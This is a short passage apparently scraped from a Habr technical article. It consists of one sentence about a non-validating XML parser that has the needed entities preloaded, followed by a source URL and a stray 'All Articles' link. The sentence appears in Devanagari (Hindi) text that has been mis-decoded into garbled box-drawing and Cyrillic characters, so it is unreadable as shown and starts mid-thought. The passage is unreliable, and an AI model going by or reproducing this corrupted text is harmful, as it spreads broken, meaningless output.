рд╕рд╛рде рдЖрдПред рддрджрдиреБрд╕рд╛рд░, рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рдПрдХреНрд╕рдПрдордПрд▓-рдкрд╛рд░реНрд╕рд░ рд╣реИ рдЬреЛ рдбреАрдЯреАрдбреА (рдФрд░ рдЗрд╕рд▓рд┐рдП, рдЧреИрд░-рд╡реИрдз) рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдЗрдХрд╛рдЗрдпрд╛рдВ рдкреНрд░реАрд▓реЛрдбреЗрдб рд╣реИрдВред

Source: https://habr.com/ru/post/In170333/


All Articles